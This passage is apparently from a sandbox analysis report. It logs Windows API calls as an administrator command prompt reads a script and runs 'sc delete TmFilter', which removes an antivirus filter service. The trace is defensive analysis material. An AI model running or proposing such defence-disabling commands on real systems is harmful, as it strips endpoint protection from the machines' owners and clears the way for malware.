nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.230] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="e0.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.230] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.230] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.230] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.230] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="r.0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.230] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.230] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.230] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.230] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.230] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.230] GetFileType (hFile=0xb8) returned 0x3 [0068.230] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.230] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.230] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.230] GetFileType (hFile=0x120) returned 0x3 [0068.231] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.231] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TmFilter\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TmFilter\n", lpUsedDefaultChar=0x0) returned 20 [0068.231] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x13, lpOverlapped=0x0) returned 1 [0068.231] GetProcessHeap () returned 0x1b0000 [0068.231] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1f8630 [0068.231] GetProcessHeap () returned 0x1b0000 [0068.231] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1f8630 | out: hHeap=0x1b0000) returned 1 [0068.231] GetProcessHeap () returned 0x1b0000 [0068.231] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0068.231] GetProcessHeap () returned 0x1b0000 [0068.231] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0068.231] GetProcessHeap () returned 0x1b0000 [0068.231] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x32) returned 0x1c6510 [0068.231] GetConsoleOutputCP () returned 0x1b5 [0068.231] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.231] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.232] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.232] GetProcessHeap () returned 0x1b0000 [0068.232] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0068.232] GetProcessHeap () returned 0x1b0000 [0068.232] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x38) returned 0x1c6550 [0068.232] GetProcessHeap () returned 0x1b0000 [0068.232] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cc530 [0068.232] SetErrorMode (uMode=0x0) returned 0x1 [0068.232] SetErrorMode (uMode=0x1) returned 0x0 [0068.232] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cc540, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0068.232] SetErrorMode (uMode=0x1) returned 0x1 [0068.232] GetProcessHeap () returned 0x1b0000 [0068.232] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cc530, Size=0x62) returned 0x1cc530 [0068.232] GetProcessHeap () returned 0x1b0000 [0068.232] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cc530) returned 0x62 [0068.232] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.232] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.232] GetProcessHeap () returned 0x1b0000 [0068.232] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0068.232] GetProcessHeap () returned 0x1b0000 [0068.232] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0068.232] GetProcessHeap () returned 0x1b0000 [0068.232] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0068.232] GetProcessHeap () returned 0x1b0000 [0068.233] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0068.233] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.233] GetProcessHeap () returned 0x1b0000 [0068.233] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0068.233] GetProcessHeap () returned 0x1b0000 [0068.233] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0068.233] GetProcessHeap () returned 0x1b0000 [0068.233] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0068.233] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.233] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.233] GetLastError () returned 0x2 [0068.233] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.233] GetLastError () returned 0x2 [0068.233] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.233] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.233] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.234] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.234] GetLastError () returned 0x2 [0068.234] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.234] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.234] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.234] GetProcessHeap () returned 0x1b0000 [0068.234] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0068.234] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.234] GetProcessHeap () returned 0x1b0000 [0068.234] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x9e) returned 0x1c9180 [0068.234] GetProcessHeap () returned 0x1b0000 [0068.234] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x9e [0068.234] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TmFilter") returned 1 [0068.235] GetProcessHeap () returned 0x1b0000 [0068.235] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0068.235] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0068.235] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0068.235] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.235] GetProcessHeap () returned 0x1b0000 [0068.235] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0068.235] GetProcessHeap () returned 0x1b0000 [0068.235] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0068.235] GetProcessHeap () returned 0x1b0000 [0068.235] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0068.235] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TmFilter", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TmFilter", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete TmFilter", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0xb18, dwThreadId=0x670)) returned 1 [0068.251] CloseHandle (hObject=0x50) returned 1 [0068.251] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.251] GetProcessHeap () returned 0x1b0000 [0068.251] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.251] GetEnvironmentStringsW () returned 0x1cba10* [0068.251] GetProcessHeap () returned 0x1b0000 [0068.251] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0068.251] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0068.251] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0068.251] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd9000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0068.251] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0068.333] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0068.333] CloseHandle (hObject=0x54) returned 1 [0068.333] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0068.333] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.333] GetProcessHeap () returned 0x1b0000 [0068.333] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0068.333] GetEnvironmentStringsW () returned 0x1d1b10* [0068.333] GetProcessHeap () returned 0x1b0000 [0068.333] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.333] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.333] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.333] GetProcessHeap () returned 0x1b0000 [0068.333] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.333] GetEnvironmentStringsW () returned 0x1cba10* [0068.333] GetProcessHeap () returned 0x1b0000 [0068.333] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0068.333] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0068.333] GetProcessHeap () returned 0x1b0000 [0068.333] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0068.333] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0068.333] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.334] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.335] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.335] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.335] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0068.335] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.335] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0068.335] GetConsoleOutputCP () returned 0x1b5 [0068.335] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.335] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.335] GetProcessHeap () returned 0x1b0000 [0068.335] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0068.336] GetProcessHeap () returned 0x1b0000 [0068.336] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0068.336] GetProcessHeap () returned 0x1b0000 [0068.336] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0068.336] GetProcessHeap () returned 0x1b0000 [0068.336] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc530 | out: hHeap=0x1b0000) returned 1 [0068.336] GetProcessHeap () returned 0x1b0000 [0068.336] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0068.336] GetProcessHeap () returned 0x1b0000 [0068.336] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0068.336] GetProcessHeap () returned 0x1b0000 [0068.336] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0068.336] GetProcessHeap () returned 0x1b0000 [0068.336] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0068.336] GetProcessHeap () returned 0x1b0000 [0068.336] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0068.336] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0068.336] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.336] GetFileType (hFile=0x120) returned 0x3 [0068.336] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.336] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.336] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0068.336] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.336] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.337] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.337] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0068.337] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.337] GetFileType (hFile=0x120) returned 0x3 [0068.337] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.337] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.337] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0068.337] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.337] GetFileType (hFile=0xb8) returned 0x3 [0068.337] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.337] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.337] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.337] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.337] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.337] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.337] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.337] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.338] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.338] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.338] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.338] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.338] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.338] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.338] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.338] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.338] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.338] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.338] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.338] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.338] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.338] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.338] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.338] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.338] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.338] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.339] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.339] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e TmFilter\n0\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.339] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.339] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.339] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.339] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" 